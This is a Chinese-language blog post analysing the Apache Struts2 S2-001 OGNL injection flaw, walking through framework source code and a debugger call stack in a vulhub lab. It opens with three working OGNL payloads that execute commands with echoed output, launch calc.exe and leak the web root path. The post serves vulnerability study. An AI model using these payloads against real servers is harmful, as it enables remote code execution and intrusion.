Java安全之S2-001漏洞分析
Java安全之S2-001漏洞分析
前言
好久没更新Java相关内容了,最近身体出了些小问题等各种原因导致有些时候无法沉心学习。忙里偷闲,炒个冷饭。
POC采集
回显poc
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
调试poc:
%{(new java.lang.ProcessBuilder(new java.lang.String[]{"calc.exe"})).start()}
获取web路径
%{
#req=@org.apache.struts2.ServletActionContext@getRequest(),
#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),
#response.println(#req.getRealPath('/')),
#response.flush(),
#response.close()
}
漏洞分析
漏洞环境:https://github.com/vulhub/vulhub/tree/master/struts2/s2-001
直接来看到漏洞点
<package name="S2-001" extends="struts-default">
<action name="login" class="com.demo.action.LoginAction">
<result name="success">/welcome.jsp</result>
<result name="error">/index.jsp</result>
</action>
</package>
这里这个package继承了struts-default
包,struts-default.xml
是Struts 2 框架的基础配置文件,为框架提供默认设置,这个文件包含在Struts2-core.jar中,由框架自动加载。
在web.xml中会配置
<filter>
<filter-name>struts2</filter-name>
<filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class>
</filter>
<filter-mapping>
<filter-name>struts2</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
org.apache.struts2.dispatcher.FilterDispatcher#doFilter
调用this.dispatcher.serviceAction(request, response, servletContext, mapping);
serviceAction方法
获取struts.xml的配置信息
使用获取到的信息传入config.getContainer().getInstance(ActionProxyFactory.class)).createActionProxy
进行创建action代理类
随后调用proxy.execute();
进行执行
public String execute() throws Exception {
ActionContext previous = ActionContext.getContext();
ActionContext.setContext(this.invocation.getInvocationContext());
String var2;
try {
var2 = this.invocation.invoke();
} finally {
if (this.cleanupContext) {
ActionContext.setContext(previous);
}
}
return var2;
}
execute方法中调用this.invocation.invoke();
,即调用前面获取到的action代理类的invoke方法。
遍历this.interceptors
,即struts-default.xml 中配置的interceptors。
这里会遍历调用interceptors里面的doIntercept方法。
漏洞在ParametersInterceptor
中,ParametersInterceptor
拦截器会将接收到的请求数据设置到valueStack里,后面在jsp中会从valueStack中获取数据
直接来到ParametersInterceptor#doIntercept
方法中。
public String doIntercept(ActionInvocation invocation) throws Exception {
Object action = invocation.getAction();
if (!(action instanceof NoParameters)) {
ActionContext ac = invocation.getInvocationContext();
Map parameters = ac.getParameters();
if (LOG.isDebugEnabled()) {
LOG.debug("Setting params " + this.getParameterLogMap(parameters));
}
if (parameters != null) {
Map contextMap = ac.getContextMap();
try {
OgnlContextState.setCreatingNullObjects(contextMap, true);
OgnlContextState.setDenyMethodExecution(contextMap, true);
OgnlContextState.setReportingConversionErrors(contextMap, true);
ValueStack stack = ac.getValueStack();
this.setParameters(action, stack, parameters);
前面获取一些系列的action、参数和context等。
然后调用this.setParameters
protected void setParameters(Object action, ValueStack stack, Map parameters) {
ParameterNameAware parameterNameAware = action instanceof ParameterNameAware ? (ParameterNameAware)action : null;
Map params = null;
if (this.ordered) {
params = new TreeMap(this.getOrderedComparator());
params.putAll(parameters);
} else {
params = new TreeMap(parameters);
}
Iterator iterator = params.entrySet().iterator();
while(true) {
Map.Entry entry;
String name;
boolean acceptableName;
do {
if (!iterator.hasNext()) {
return;
}
entry = (Map.Entry)iterator.next();
name = entry.getKey().toString();
acceptableName = this.acceptableName(name) && (parameterNameAware == null || parameterNameAware.acceptableParameterName(name));
} while(!acceptableName);
Object value = entry.getValue();
try {
stack.setValue(name, value);
遍历获取到参数的Map,调用stack.setValue(name, value);
所有的interceptors遍历完了过后,执行this.invokeActionOnly();
DefaultActionInvocation#invokeAction()方法会反射调用action中的execute方法
执行回到invoke方法中,接着调用this.proxy.getExecuteResult()
这个action是否有执行结果,然后调用this.executeResult();
这里会对action的execute结果进行处理,在struts2中会配置
<package name="S2-001" extends="struts-default">
<action name="login" class="com.demo.action.LoginAction">
<result name="success">/welcome.jsp</result>
<result name="error">/index.jsp</result>
</action>
</package>
对执行返回success或error进行跳转到对应的jsp
调用this.result.execute(this);
public void execute(ActionInvocation invocation) throws Exception {
this.lastFinalLocation = this.conditionalParse(this.location, invocation);
this.doExecute(this.lastFinalLocation, invocation);
}
调用this.doExecute(this.lastFinalLocation, invocation);
后面这里会调用dispatcher.forward(request, response);
进行转发
org.apache.struts2.views.jsp.ComponentTagSupport#doStartTag
中下断点,该方法会解析jsp中的struts标签。
<s:form action="login">
<s:textfield name="username" label="username" />
<s:textfield name="password" label="password" />
<s:submit></s:submit>
</s:form>
第一次解析form标签
第二次解析username标签
执行完成后走到doEndTag
方法
public int doEndTag() throws JspException {
this.component.end(this.pageContext.getOut(), this.getBody());
this.component = null;
return 6;
}
public boolean end(Writer writer, String body) {
this.evaluateParams();
try {
super.end(writer, body, false);
this.mergeTemplate(writer, this.buildTemplateName(this.template, this.getDefaultTemplate()));
} catch (Exception var7) {
LOG.error("error when rendering", var7);
} finally {
this.popComponentStack();
}
return false;
}
调用 this.evaluateParams();
public void evaluateParams() {
this.addParameter("templateDir", this.getTemplateDir());
this.addParameter("theme", this.getTheme());
String name = null;
if (this.key != null) {
if (this.name == null) {
this.name = this.key;
}
if (this.label == null) {
this.label = "%{getText('" + this.key + "')}";
}
}
if (this.name != null) {
name = this.findString(this.name);
this.addParameter("name", name);
}
org.apache.struts2.components#UIBean
最下面有行代码
if (this.altSyntax()) {
expr = "%{" + name + "}";
}
如果this.altSyntax()
,则拼接%{}
,这里this.altSyntax()是检查ongl表达式是否开启,开启的话拼接%{}
直接使用表达式
在第一遍执行的时候会expr为%username%会获取到我们username中对应的值。这里即表达式内容。
当第二次执行到OgnlUtil.getValue(expr, this.context, this.root, asType);
进行代码执行。
OgnlUtil.getValue
方法的底层代码是用的Ognl.getValue
调用栈:
setParameters:193, ParametersInterceptor (com.opensymphony.xwork2.interceptor)
doIntercept:159, ParametersInterceptor (com.opensymphony.xwork2.interceptor)
intercept:86, MethodFilterInterceptor (com.opensymphony.xwork2.interceptor)
doProfiling:224, DefaultActionInvocation$2 (com.opensymphony.xwork2)
doProfiling:223, DefaultActionInvocation$2 (com.opensymphony.xwork2)
profile:455, UtilTimerStack (com.opensymphony.xwork2.util.profiling)
invoke:221, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:105, StaticParametersInterceptor (com.opensymphony.xwork2.interceptor)
doProfiling:224, DefaultActionInvocation$2 (com.opensymphony.xwork2)
doProfiling:223, DefaultActionInvocation$2 (com.opensymphony.xwork2)
profile:455, UtilTimerStack (com.opensymphony.xwork2.util.profiling)
invoke:221, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:83, CheckboxInterceptor (org.apache.struts2.interceptor)
doProfiling:224, DefaultActionInvocation$2 (com.opensymphony.xwork2)
doProfiling:223, DefaultActionInvocation$2 (com.opensymphony.xwork2)
profile:455, UtilTimerStack (com.opensymphony.xwork2.util.profiling)
invoke:221, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:207, FileUploadInterceptor (org.apache.struts2.interceptor)
doProfiling:224, DefaultActionInvocation$2 (com.opensymphony.xwork2)
doProfiling:223, DefaultActionInvocation$2 (com.opensymphony.xwork2)
profile:455, UtilTimerStack (com.opensymphony.xwork2.util.profiling)
invoke:221, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:74, ModelDrivenInterceptor (com.opensymphony.xwork2.interceptor)
doProfiling:224, DefaultActionInvocation$2 (com.opensymphony.xwork2)
doProfiling:223, DefaultActionInvocation$2 (com.opensymphony.xwork2)
profile:455, UtilTimerStack (com.opensymphony.xwork2.util.profiling)
invoke:221, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:127, ScopedModelDrivenInterceptor (com.opensymphony.xwork2.interceptor)
doProfiling:224, DefaultActionInvocation$2 (com.opensymphony.xwork2)
doProfiling:223, DefaultActionInvocation$2 (com.opensymphony.xwork2)
profile:455, UtilTimerStack (com.opensymphony.xwork2.util.profiling)
invoke:221, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:107, ProfilingActivationInterceptor (org.apache.struts2.interceptor)
doProfiling:224, DefaultActionInvocation$2 (com.opensymphony.xwork2)
doProfiling:223, DefaultActionInvocation$2 (com.opensymphony.xwork2)
profile:455, UtilTimerStack (com.opensymphony.xwork2.util.profiling)
invoke:221, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:206, DebuggingInterceptor (org.apache.struts2.interceptor.debugging)
doProfiling:224, DefaultActionInvocation$2 (com.opensymphony.xwork2)
doProfiling:223, DefaultActionInvocation$2 (com.opensymphony.xwork2)
profile:455, UtilTimerStack (com.opensymphony.xwork2.util.profiling)
invoke:221, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:115, ChainingInterceptor (com.opensymphony.xwork2.interceptor)
doProfiling:224, DefaultActionInvocation$2 (com.opensymphony.xwork2)
doProfiling:223, DefaultActionInvocation$2 (com.opensymphony.xwork2)
profile:455, UtilTimerStack (com.opensymphony.xwork2.util.profiling)
invoke:221, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:143, I18nInterceptor (com.opensymphony.xwork2.interceptor)
doProfiling:224, DefaultActionInvocation$2 (com.opensymphony.xwork2)
doProfiling:223, DefaultActionInvocation$2 (com.opensymphony.xwork2)
profile:455, UtilTimerStack (com.opensymphony.xwork2.util.profiling)
invoke:221, DefaultActionInvocation (com.opensymphony.xwork2)
doIntercept:121, PrepareInterceptor (com.opensymphony.xwork2.interceptor)
intercept:86, MethodFilterInterceptor (com.opensymphony.xwork2.interceptor)
doProfiling:224, DefaultActionInvocation$2 (com.opensymphony.xwork2)
doProfiling:223, DefaultActionInvocation$2 (com.opensymphony.xwork2)
profile:455, UtilTimerStack (com.opensymphony.xwork2.util.profiling)
invoke:221, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:170, ServletConfigInterceptor (org.apache.struts2.interceptor)
doProfiling:224, DefaultActionInvocation$2 (com.opensymphony.xwork2)
doProfiling:223, DefaultActionInvocation$2 (com.opensymphony.xwork2)
profile:455, UtilTimerStack (com.opensymphony.xwork2.util.profiling)
invoke:221, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:123, AliasInterceptor (com.opensymphony.xwork2.interceptor)
doProfiling:224, DefaultActionInvocation$2 (com.opensymphony.xwork2)
doProfiling:223, DefaultActionInvocation$2 (com.opensymphony.xwork2)
profile:455, UtilTimerStack (com.opensymphony.xwork2.util.profiling)
invoke:221, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:176, ExceptionMappingInterceptor (com.opensymphony.xwork2.interceptor)
doProfiling:224, DefaultActionInvocation$2 (com.opensymphony.xwork2)
doProfiling:223, DefaultActionInvocation$2 (com.opensymphony.xwork2)
profile:455, UtilTimerStack (com.opensymphony.xwork2.util.profiling)
invoke:221, DefaultActionInvocation (com.opensymphony.xwork2)
execute:50, StrutsActionProxy (org.apache.struts2.impl)
serviceAction:504, Dispatcher (org.apache.struts2.dispatcher)
doFilter:419, FilterDispatcher (org.apache.struts2.dispatcher)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
invoke:197, StandardWrapperValve (org.apache.catalina.core)
invoke:97, StandardContextValve (org.apache.catalina.core)
invoke:543, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:135, StandardHostValve (org.apache.catalina.core)
invoke:92, ErrorReportValve (org.apache.catalina.valves)
invoke:698, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:78, StandardEngineValve (org.apache.catalina.core)
service:367, CoyoteAdapter (org.apache.catalina.connector)
service:639, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:882, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1647, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)
结尾
注意多喝热水,以防肾结石。